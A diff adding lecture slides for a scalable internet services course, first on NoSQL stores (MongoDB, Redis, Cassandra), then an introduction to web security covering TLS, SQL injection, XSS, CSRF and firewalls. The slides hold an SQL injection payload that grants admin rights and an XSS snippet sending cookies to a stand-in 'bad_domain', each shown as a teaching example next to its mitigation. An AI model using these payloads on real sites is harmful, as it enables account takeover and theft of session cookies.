+
+---
+
+# ![MongoDB](MongoDB-Logo.svg) JSONB
+
+Documents are stored in JSONB
+
+* Binary version of JSON
+
+* Can nest other JSON documents
+
+---
+
+# ![MongoDB](MongoDB-Logo.svg) Trade-offs
+
+## Provides no notion of transaction
+
+* Unit of atomicity is the Document
+
+* Inserting multiple documents can fail individually
+
+--
+
+## No notion of joins
+
+* Computation based on relations between documents must be done in the
+  application.
+
+
+---
+
+# ![MongoDB](MongoDB-Logo.svg) Sharding
+
+.left-column40[
+Collections can be sharded.
+
+* Each shard can have a replica set.
+
+* Config servers manage the mapping between shards and data.
+
+* Mongos routes queries to the appropriate shard.
+]
+.right-column60[
+![MongoDB Sharded Cluster](sharded-cluster-production-architecture.svg)
+]
+
+---
+
+# ![MongoDB](MongoDB-Logo.svg) Sharding
+
+.left-column40[
+Replica sets use asynchronous replication.
+
+You can configure your driver to read from the primary only, or to read from
+the read-replicas. Additionally, you can configure the number of nodes to write to.
+
+* [Read Preference](https://docs.mongodb.com/manual/core/read-preference/)
+
+* [Write Concern](https://docs.mongodb.com/manual/core/replica-set-write-concern/)
+]
+.right-column60[
+![MongoDB Sharded Cluster](sharded-cluster-production-architecture.svg)
+]
+
+---
+
+# ![Redis](Redis_Logo.svg) Overview
+
+Redis is a key-value data store.
+
+* Also called a data structure store
+
+* Supports many data structures
+
+  * Lists
+
+  * Sorted Sets
+
+  * Hashes
+
+  * Bitmaps
+
+* Primarily keeps data structures in memory
+
+  * Persistence to disk is optional
+
+---
+
+# ![Redis](Redis_Logo.svg) Interface
+
+* Each data type allows similar mechanisms to what you would do in memory.
+
+* Access hashes by key
+
+* Access lists by index
+
+* Sorted sets can return top-K
+
+* Push/pop on lists
+
+---
+
+# ![Redis](Redis_Logo.svg) Transactions
+
+A series of commands can be executed within a transaction.
+
+These transactions are atomic -- no other operations can occur during a
+transaction -- however, failures do not rollback previous operations in the
+transaction.
+
+> Errors happening after EXEC instead are not handled in a special way: all the
+  other commands will be executed even if some command fails during the
+  transaction [[reference](https://redis.io/topics/transactions)].
+
+In other words consistency is not maintained in the event of a failure.
+
+---
+
+# ![Redis](Redis_Logo.svg) Persistence
+
+## RDF: Redis Database File
+
+* Forks process and saves a dump
+
+## AOF: Append Only File
+
+* Saves updates to a log
+
+* Log is replayed upon start
+
+---
+
+# ![Redis](Redis_Logo.svg) Sharding
+
+.left-column[
+![Redis Sharding](redis_sharding.png)
+]
+.right-column[
+Redis cluster supports sharding.
+
+* Single primary for writes
+
+* Replicas for failover.
+]
+
+---
+
+# ![Redis](Redis_Logo.svg) Sharding
+
+.left-column[
+![Redis Sharding with Failures](redis_sharding_failures.png)
+]
+.right-column[
+Cluster can handle all reads if up to two nodes are down.
+
+It's possible to read from replicas -- the default configuration sends all read
+and write operations to the primaries.
+]
+
+---
+
+# ![Redis](Redis_Logo.svg) Rebalancing
+
+.center[![Redis Shard Rebalancing](redis_rebalancing.png)]
+
+Redis cluster can also dynamically rebalance after adding hardware.
+
+---
+
+# ![Cassandra](Cassandra_logo.svg)
+
+Of those discussed, most similar to a RDBMS.
+
+Cassandra has table-like structures called ColumnFamilies.
+
+* ColumnFamilies have many rows.
+
+* Rows are like a big hash, with many keys and values.
+
+  * Rows can be very long
+
+* Rows are heterogeneous, and can be schemaless.
+
+
+---
+
+# ![Cassandra](Cassandra_logo.svg) Column Families
+
+![Cassandra Static Column Family](cassandra_static_column_family.png)
+__Static Column Family__
+
+
+![Cassandra Dynamic Column Family](cassandra_dynamic_column_family.png)
+__Dynamic Column Family__
+
+---
+
+# ![Cassandra](Cassandra_logo.svg) CQL
+
+Interface is called CQL, similar to SQL:
+
+```cql
+SELECT * WHERE KEY=11194251 AND startdate='2016-11-08-0500';
+```
+
+Features are very limited:
+
+* Most queries are key-value
+
+* Secondary indicies are allowed
+
+* Sorting is very limited
+
+---
+
+# ![Cassandra](Cassandra_logo.svg) Limitations
+
+## No Transactions
+
+* Atomic batches exist (with ~30% performance penalty)
+
+* Non-atomic batches provide no isolation from other batches
+
+## No Joins
+
+* Join data in your application
+
+---
+
+# ![Cassandra](Cassandra_logo.svg)
+
+* Cassandra is a primary-less system
+
+* It is distributed and highly available
+
+* Data is automatically split across nodes
+
+* Reads are eventually consistent
+
+  * Can be made strictly consistent on a per-statement basis
+
+---
+
+# ![Cassandra](Cassandra_logo.svg) Statement Consistency
+
+```python
+SELECT * WHERE KEY=11194251 ...
+  CONSISTENCY LEVEL ONE     # (R=1)
+  CONSISTENCY LEVEL ALL     # (R=N)
+  CONSISTENCY LEVEL QUORUM  # (R=N/2 + 1)
+  ```
+
+
+```python
+UPDATE ... WHERE KEY=11194251 ...
+  CONSISTENCY LEVEL ONE     # (W=1)
+  CONSISTENCY LEVEL ALL     # (W=N)
+  CONSISTENCY LEVEL QUORUM  # (W=N/2 + 1)
+```
+
+---
+
+# ![Cassandra](Cassandra_logo.svg) Distributed Keyspace
+
+.left-column[
+Cassandra distributes its keyspace across a virtual ring of nodes.
+
+* This ring can be randomized, or ordered.
+
+* Ordered allowes faster range queries.
+
+* Randomized avoids hotspots.
+]
+.right-column[
+![Cassandra Ring](cassandra-ring.png)
+]
+
+    </textarea>
+    <script src="https://remarkjs.com/downloads/remark-latest.min.js"
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+    <script type="text/javascript">
+      var hljs = remark.highlighter.engine;
+      var slideshow = remark.create({
+          highlightLanguage: 'ruby',
+          highlightLines: true,
+          hightlightSpans: true,
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+        }) ;
+    </script>
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+  <head>
+    <meta charset="utf-8" />
+    <title>An Introduction to Web Security</title>
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+  <body>
+    <textarea id="source">
+class: center, middle
+
+# An Introduction to Web Security
+
+## CS291A: Scalable Internet Services
+
+---
+
+# Today's Agenda
+
+* Security Motivation
+
+* HTTPS
+
+* SQL Injection
+
+* Cross-Site Scripting
+
+* Cross-Site Request Forgery
+
+* Firewalls
+
+---
+
+# Security Motivation
+
+Internet services increasingly mediate more and more interactions in modern
+society.
+
+* I want to buy dinner.
+
+* I want to save important documents.
+
+* I want to find a job.
+
+* I want to manage my investments.
+
+* I want to access my vaccination and medical records .
+
+--
+
+Every day billions of people use the same suite of technologies to solve these
+problems.
+
+> How do we keep these interactions secure?
+
+---
+
+# Malice Online
+
+> What sort of _bad actors_ can exist in this system?
+
+.center[![Browser to Client](no_malicious_users.png)]
+
+---
+
+# Malicious Client
+
+A malicious client may be a compromised host (browser, server, operating
+system), or a direct attacker.
+
+.center[![Malicious Client](malicious_client.png)]
+
+---
+
+# Malicious Server
+
+A malicious server may be impersonating a real server (therealgoogle.com) in
+attempt to phish unsuspecting users, or it could be a compromised high-traffic
+web service serving up drive-by-downloads.
+
+.center[![Malicious Server](malicious_server.png)]
+
+---
+
+# Malicious Observer
+
+A malicious observer may be your neighbor or even your government (NSA) that is
+recording your actions for nefarious purposes such as obtaining sensitive
+information (credentials, bank account numbers, credit cards), blackmail
+(ransom ware).
+
+.center[![Malicious Observer](malicious_observer.png)]
+
+---
+
+# Malicious Intermediary
+
+A malicious intermediary is similar to a malicious observer, but requires more
+than passive collection of web traffic. Intermediaries may perform a
+man-in-the-middle attack, DNS poisoning, or a handful of other types of
+attacks.
+
+.center[![Malicious Intermediary](malicious_intermediary.png)]
+
+---
+
+# Online Security Goals
+
+> What do we want?
+
+## Privacy
+
+My data cannot be read by third parties, both now, and in the future.
+
+--
+
+## Authenticity
+
+I am communicating with whom I expect to be communicating with.
+
+--
+
+## Integrity
+
+Neither my messages, nor the other party's messages have been tampered with.
+
+---
+
+# HTTPS
+
+HTTP over TCP with a _trusted_ TLS session (HTTPS) is designed to protect us
+against malicious __servers__, __observers__, and __intermediaries__.
+
+![Malicious Users](malicious_intermediary.png)
+
+---
+
+# Problems with TCP
+
+Just using TCP as our transport-level protocol gives us little-to-no
+protection.
+
+Anyone on the path of the TCP stream (routers, switches, other clients on a
+wireless network) can:
+
+* Read the packets (violates privacy)
+
+* Inject _fake_ packets to disrupt the stream or impersonate the destination
+  server (violates authenticity)
+
+* Inject modified packets to change their meaning (violates integrity)
+
+---
+
+class: center inverse middle
+
+# Solution to our Goals: Cryptography
+
+---
+
+# Cryptography in a Nutshell
+
+## Symmetric Cryptography (fast)
+
+Uses a single key to encrypt and decrypt data.
+
+```python
+encrypt(data, key) = encrypted               decrypt(encrypted, key) = data
+```
+
+Common implementations: __AES__, __DES__, __Threefish__
+
+--
+
+## Asymmetric Cryptography (slow in practice)
+
+Uses a pair of keys, one public (pub_key), and one private (priv_key). Either
+key can be used to encrypt data, and the other used to decrypt.
+
+```python
+# Only those with the private key can decrypt
+encrypt(data, pub_key) = encrypted      decrypt(encrypted, priv_key) = data
+
+# Only those with the private key can encryprt
+encrypt(data, priv_key) = encrypted      decrypt(encrypted, pub_key) = data
+```
+
+Common implementations: __RSA__, __(EC)DSA__
+
+---
+
+# Symmetric Cryptography and Requests
+
+![HTTP with Symmetric Cryptography](http_with_crypto.png)
+
+> How far can symmetric cryptography alone get us?
+
+
+--
+
+Knowing that an intermediary doesn't have the key
+
+--
+
+._[ - We know requests and responses will be unreadable.  __Privacy__ ]
+
+--
+
+._[ - We know they can not encrypt, change, decrypt and then send to the client
+the data we encrypted on the server. __Integrity__]
+
+--
+
+._[ - We generally have some level of guarantee that we are actually
+communicating with whom we intend to be. __Authenticity__]
+
+---
+
+# Supporting Authenticity on the Web
+
+It is desirable for the web to work with combinations of arbitrary clients and
+servers. As a result we cannot rely upon shared secrets for communication
+between our browser and whatever server we want to talk to.
+
+> How do we establish a shared symmetric key without intermediaries knowing it?
+
+---
+
+# Asymmetric Cryptography on the Web
+
+Use asymmetric cryptography to communicate a shared secret key.
+
+![HTTP Shared Secret](http_shared_secret.png)
+
+> Does this solve all of our malicious actor problems?
+
+---
+
+# Man in the Middle Attack
+
+Malicious intermediary can:
+
+* Create their own asymmetric key pair
+
+--
+
+* Present their public key to the server as the client's public key
+
+--
+
+* Establish a shared key with the server
+
+--
+
+* Present their public key to the client as the server's public key
+
+--
+
+* Establish a shared key with the client
+
+--
+
+* Relay messages between the client and server, modifying them as desired
+
+---
+
+class: center inverse middle
+
+# How can we prevent a man in the middle attack?
+
+---
+
+# Preventing Man in the Middle Attack
+
+If one side knew in advance the public key of the other side, the man in the
+middle attack wouldn't work.
+
+__The attacker is unable to decrypt one of the messages containing half of the
+secret key.__
+
+--
+
+> Can the server know in advance the public key belonging to a client (e.g.,
+> browser)?
+
+--
+
+> Can the the client know in advance the public key belonging to a server?
+
+--
+
+> How?
+
+---
+
+# Establishing Trust
+
+There are significantly more clients than web servers so it makes sense to
+focus on advanced knowledge of server public keys.
+
+> Where can we store the public keys?
+
+--
+
+* The server?
+
+* DNS?
+
+* Trusted Central Authority?
+
+All of these have the same problem.
+
+--
+
+> How can we trust that the transmission of the desired server's public key has
+> not been tampered with?
+
+---
+
+# A Web of Trust
+
+We can use public key signatures to transitively authenticate someone.
+
+--
+
+* Alice trusts Bob and as a result already has Bob's public key.
+
+--
+
+* Bob trusts Chelsea and has even _signed_ Chelsea's public key.
+
+--
+
+* Alice doesn't know Chelsea but wants to talk to her.
+
+--
+
+  * Alice asks Chelsea for her public key.
+
+--
+
+  * Chelsea presents her public key along with the signature from Bob.
+
+--
+
+  * Alice verifies that Chelsea's key has indeed been signed with Bob's key,
+    someone she trusts, and as a result accepts that she is really talking to
+    Chelsea.
+
+The public key along with its parent signatures is known as a __certificate__.
+
+---
+
+# Certificate Authorities (CAs)
+
+Every browser (and operating system) maintains a small list of trusted
+Certificate Authorities.
+
+Any website presenting a certificate issued (signed) by a CA the browser
+trusts will transitively receive trust from the browser.
+
+Certificates can be chained (Root CA -> Intermediate CA* -> Site Certificate)
+
+![TLS Certificate Chain](certificate_chain.png)
+
+---
+
+# Trust Summary
+
+* __Certificates__ are used to verify the _authenticity_ of the sever.
+
+--
+
+* __Asymmetric cryptography__ is used to establish a shared key.
+
+--
+
+* __Symmetric cryptography__ is used to quickly and _privately_ communicate
+  with _integrity_.
+
+--
+
+The TLS layer added on-top of a TCP session provides all this functionality
+with different combinations of cipher suites.
+
+---
+
+# TLS Handshake
+
+.left-column40[
+After TCP setup:
+
+1. (unencrypted) Client initiates TLS handshake with a list of supported cipher suites and a
+   random number
+2. (unencrypted) Server responds with its cert, selected cipher suite, and a random number
+3. (encrypted) Client responds with more randomness
+4. Each side independently computes the session key based on the three random numbers
+5. Both sides use the symmetric session key to communicate
+]
+.right-column60[
+![TLS Handshake](tls_handshake.png)
+]
+
+---
+
+# Minimizing Round Trips
+
+.left-column40[
+The latency involved in the two extra round trips is expensive!
+
+An optimization exists for access from a client to a previously accessed
+server.
+]
+.right-column60[
+![TLS Handshake](tls_handshake.png)
+]
+
+
+---
+
+# Abbreviated TLS Handshake
+
+.left-column40[
+After TCP setup:
+
+1. Session ID is added to connections with new hosts
+2. Client initiates TLS handshake with previously-used session ID
+3. Server acknowledges previously used session ID
+4. Each side computes session key based on remembered random numbers
+5. Both sides use the symmetric session key to communicate
+]
+.right-column60[
+![Abbreviated TLS Handshake](abbreviated_tls_handshake.png)
+]
+
+---
+
+# TLS Goals
+
+> Have we achieved our goals?
+
+## Privacy
+
+No other party can know __all__ three random numbers with which we generated
+the session key, thus intermediaries cannot read our data.
+
+--
+
+## Integrity
+
+Each TLS frame includes a Message Authentication Code (MAC) that ensures
+messages were not tampered with.
+
+--
+
+## Authentication
+
+The server's public key is signed (certificate) by a trusted CA that the
+browser already knows about, thus communication occurs with the intended party.
+
+---
+
+class: center inverse middle
+
+# What happens if a server's private key is compromised or an intermediate CA becomes untrustworthy?
+
+---
+
+# TLS Certificate Revocation
+
+Certificates can be revoked in two primary ways:
+
+* Certificate Revocation List
+
+  * Periodically fetch a list of all revoked certificates.
+
+  * At request time, reject revoked server certificates.
+
+--
+
+* Online Certificate Status Protocol (OCSP)
+
+  * At request time, use OCSP to see if the server's certificate has been
+    revoked. If so reject it.
+
+
+--
+
+> What are the trade-offs of the two approaches?
+
+---
+
+## Where should TLS connections terminate?
+
+.center[
+### At the Application Server
+]
+![App Server TLS Termination](tls_termination_app_server.png)
+
+.center[
+### At the Load Balancer
+]
+![Load Balancer TLS Termination](tls_termination_load_balancer.png)
+
+---
+
+# TLS Termination Options
+
+## Advantages of termination at the Load Balancer
+
+* Minimizing the number of TLS session caches improves hit rate of the
+  abbreviated TLS handshake
+
+* Easier to provide TLS hardware acceleration (less hardware required)
+
+* Enables the load balancer to make decisions based on content
+
+* Single location for private key
+
+--
+
+## Advantages of termination at the App Server
+
+* Data between load balancer and app server stays private (do you trust the
+  network between the load balancer and your application servers?)
+
+---
+
+# Requiring HTTPS
+
+HTTP over TCP+TLS (HTTPS) gives us very good security for the web. However,
+users aren't always aware it is an option, or may be _coerced_ into using just
+HTTP.
+
+> How can we enforce that browsers access our site using only HTTPS?
+
+--
+
+Strict Transport Security gives us the option to inform the browser to use
+HTTPS for all future communication on the domain.
+
+__HTTP Response Header__:
+
+```http
+Strict-Transport-Security: max-age=31536000
+```
+
+Informs the browser to only use HTTPS to access the domain for the next year.
+
+---
+
+# Common Web Vulnerabilities
+
+Now we will look at three common security vulnerabilities on the web and how to
+mitigate them:
+
+## SQL Injection
+
+## Cross-site Scripting
+
+## Cross-site Request Forgery
+
+---
+
+# SQL Injection
+
+An SQL injection attack is when a malicious user submits a carefully crafted
+HTTP request that directly or indirectly causes your application server to
+interact with the database in a manner you did not intend.
+
+---
+
+# SQL Injection Example
+
+> How could we manipulate the following controller?
+
+```ruby
+def create
+  sql = <<-SQL
+    INSERT INTO comments
+    user_id=#{params['user_id']},
+    comment='#{params['comment_text']}';
+  SQL
+  ActiveRecord::Base.connection.execute(sql)
+end
+```
+
+--
+
+> What if a user submitted the following parameters?
+
+```
+user_id=5
+comment_text='; UPDATE users SET admin=1 WHERE user_id=5 and '1'='1
+```
+
+---
+
+# SQL Injection Example
+
+What was templated as:
+
+```sql
+INSERT INTO comments user_id=#{user_id}, comment='#{comment_text}';
+```
+
+will become:
+
+```sql
+INSERT INTO comments user_id=5, comment='';
+UPDATE users SET admin=1 WHERE user_id=5 and '1'='1';
+```
+
+---
+
+# Mitigating SQL Injection Vulnerabilities
+
+Never insert user input directly into an SQL statement without sanitizing it
+first.
+
+Rails does a lot of the work here for you:
+
+* Access through the ActiveRecord ORM is safe
+
+* If you need to sanitize custom SQL, use the `sanitize` method:
+
+```ruby
+"SELECT * FROM comments WHERE id=#{Comment.sanitize(params[:id])};"
+```
+
+---
+
+# XKCD: Exploits of a Mom
+
+![XKCD Little Bobby Tables](xkcd_327.png)
+
+"Her daughter is named Help I'm trapped in a driver's license factory."
+
+(C) Randall Munroe: [http://xkcd.com/327/](http://xkcd.com/327/)
+
+---
+
+# Cross-site Scripting (XSS)
+
+__JavaScript is powerful.__
+
+If an attacker can get a user to execute arbitrary JavaScript on a target site,
+it can issue arbitrary AJAX HTTP requests to that site and GET requests to
+other sites.
+
+AJAX requests are restricted by browsers' same origin policy, but any requests
+to the same domain will include all relevant cookies.
+
+However, JavaScript can still be used to read cookies and send secrets to other
+domains via GET requests.
+
+```javascript
+var cookie = document.cookie;
+var element = $('.class_selector');
+element.innerHTML += '<img src="//bad_domain/_?secret=' + cookie + '">';
+```
+
+---
+
+# XSS Basics
+
+One user submits data that will be displayed to other users of the web
+application (e.g., add a comment to a submission).
+
+When another user visits the page, the server includes this data as part of the
+body of the webpage.
+
+When the victim's browser encounters the data, it executes it in the same way
+it executes all JavaScript that is embedded within the HTML document.
+
+---
+
+# XSS Example
+
+![XSS Example](xss_example.png)
+
+> How can we prevent XSS from occurring?
+
+---
+
+# XSS Prevention
+
+Never trust data from your users.
+
+As with SQL Injection, let's sanitize data being displayed. Rails already does
+this for you:
+
+Entering `<script>alert("oops");</script>` into a form as a submission title,
+and rendering via `<%= submission.title %>` will produce:
+
+```html
+&amp;lt;script&amp;gt;alert("oops");&amp;lt;/script&amp;gt;
+```
+
+__Note__: XSS can also be prevented by disabling inline JavaScript with a
+Content Security Policy by trading convenience for security.
+
+---
+
+# SQL Injection and XSS Prevention
+
+> How do we make sure we aren't making these sort of mistakes in our web
+> application?
+
+One method is by __fuzzing__.
+
+Fuzzing is the process of automatically submitting semi-random input to an
+application and watching for subsequent problematic side-effects.
+
+---
+
+# Cross-site Request Forgery (CSRF)
+
+## Ingredients for this attack:
+
+* One malicious server
+
+* One target web site
+
+* One unsuspecting user of the target web site who happens to visit the
+  malicious server
+
+__Note__: The user may access the malicious server by ways of a plugin to the
+  target website.
+
+---
+
+# CSRF Explained
+
+While AJAX requests cannot cross domains, the same origin policy does not apply
+to image tags (as we've seen), nor to form elements.
+
+Thus a malicious site can trick a user into making a POST request to a target
+site using that site's cookies.
+
+CSRF could be used to:
+
+* Automatically post a tweet
+
+* Add a Facebook friend
+
+* Change a password
+
+The possibilities are endless.
+
+---
+
+# Mitigating CSRF
+
+## Ensure that GET requests have no side effects.
+
+This step ensures any CSRF via image tag, or other resource auto-loading tag is
+benign.
+
+--
+
+## Add a CRSF Protection Token to every request with side effects
+
+Generally every action with side effects originates with the preceding page
+load.
+
+On those pages insert a hidden CRSF protection token into the form.
+
+Side-effect requests submitted without a valid token are rejected.
+
+---
+
+# CSRF Protection in Rails
+
+```ruby
+class ApplicationController < ActionController::Base
+  # Prevent CSRF attacks by raising an exception.
+  protect_from_forgery with: :exception
+end
+```
+
+The above results in the following being added to all forms (with different
+values of course):
+
+```html
+<input name="authenticity_token" type="hidden"
+       value="SLNTcHBDnzl21gPHVoF3DAUEGZLAxWYqZ1FQxBBlmek=">
+```
+
+---
+
+# Common Web Vulnerabilities - Summary
+
+Now we will look at three common security vulnerabilities on the web and how to
+mitigate them:
+
+## SQL Injection
+
+Attacker can execute arbitrary SQL on the database
+
+## Cross-site Scripting
+
+Attacker can execute arbitrary JavaScript on a user's browser
+
+## Cross-site Request Forgery
+
+Attacker can trick user into performing an action on a targeted site
+
+---
+
+# Firewalls
+
+## Used to secure devices from outside access
+
+* Enforces access control policy between two networks
+
+* Two designs: restrict _bad traffic_ or permit _good traffic_
+
+* Designed to operate at different layers of the network stack
+
+--
+
+## Can influence traffic going out as well
+
+* e.g. [Great Firewall of China](http://www.greatfirewallofchina.org/)
+
+* We are primarily concerned with inbound traffic
+
+--
+
+## Can be standalone hardware devices or software
+
+* Often included in multi-purpose device, e.g. switch or load balancer
+
+---
+
+# When to use a Firewall
+
+* Use firewalls only when they significantly reduce risk
+
+* Employ firewalls to protect sensitive data
+
+    * Critical personally identifiable information
+
+    * PCI compliance
+
+* Firewalls should be treated like perimeter security
+
+* Consider the value of what you are protecting and the cost to firewall it
+
+* Firewalls are often overused.
+
+> Failed firewalls are the #2 driver of site downtime after failed databases
+
+---
+
+# Common Firewalls
+
+## Software
+
+* Included with operating systems (ipfw)
+* Can also buy standalone
+
+## Hardware
+
+* Cisco ASA, Citrix AppFirewall, F5 AFM
+
+## EC2 Security Groups
+
+* Allow specific protocols and ports to access server
+* Can restrict machines to only accept traffic from Elastic Load Balancer
+
+
+A typical large scale web service will use both hardware and software firewalls
+
+    </textarea>
+    <script src="https://remarkjs.com/downloads/remark-latest.min.js"
+            type="text/javascript"></script>
+    <script type="text/javascript">
+      var hljs = remark.highlighter.engine;
+      var slideshow = remark.create({
+          highlightLanguage: 'ruby',
+          highlightLines: true,
+          hightlightSpans: true,
+          highlightStyle: 'monokai'
+        }) ;
+    </script>
+  </body>
+</html>
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 <h3 id="projectprojectproposal-initial-peer-score-message-due-before"><a href="/project/#proposal">Project</a> initial peer score message due before</h3>
 
-<p>Monday, November 13 2pm PT</p>
+<p>Monday, November 20 2pm PT</p>
 
 <h3 id="projectprojectreport-report-draft-for-feedback-due-before"><a href="/project/#report">Project</a> report draft for feedback due before</h3>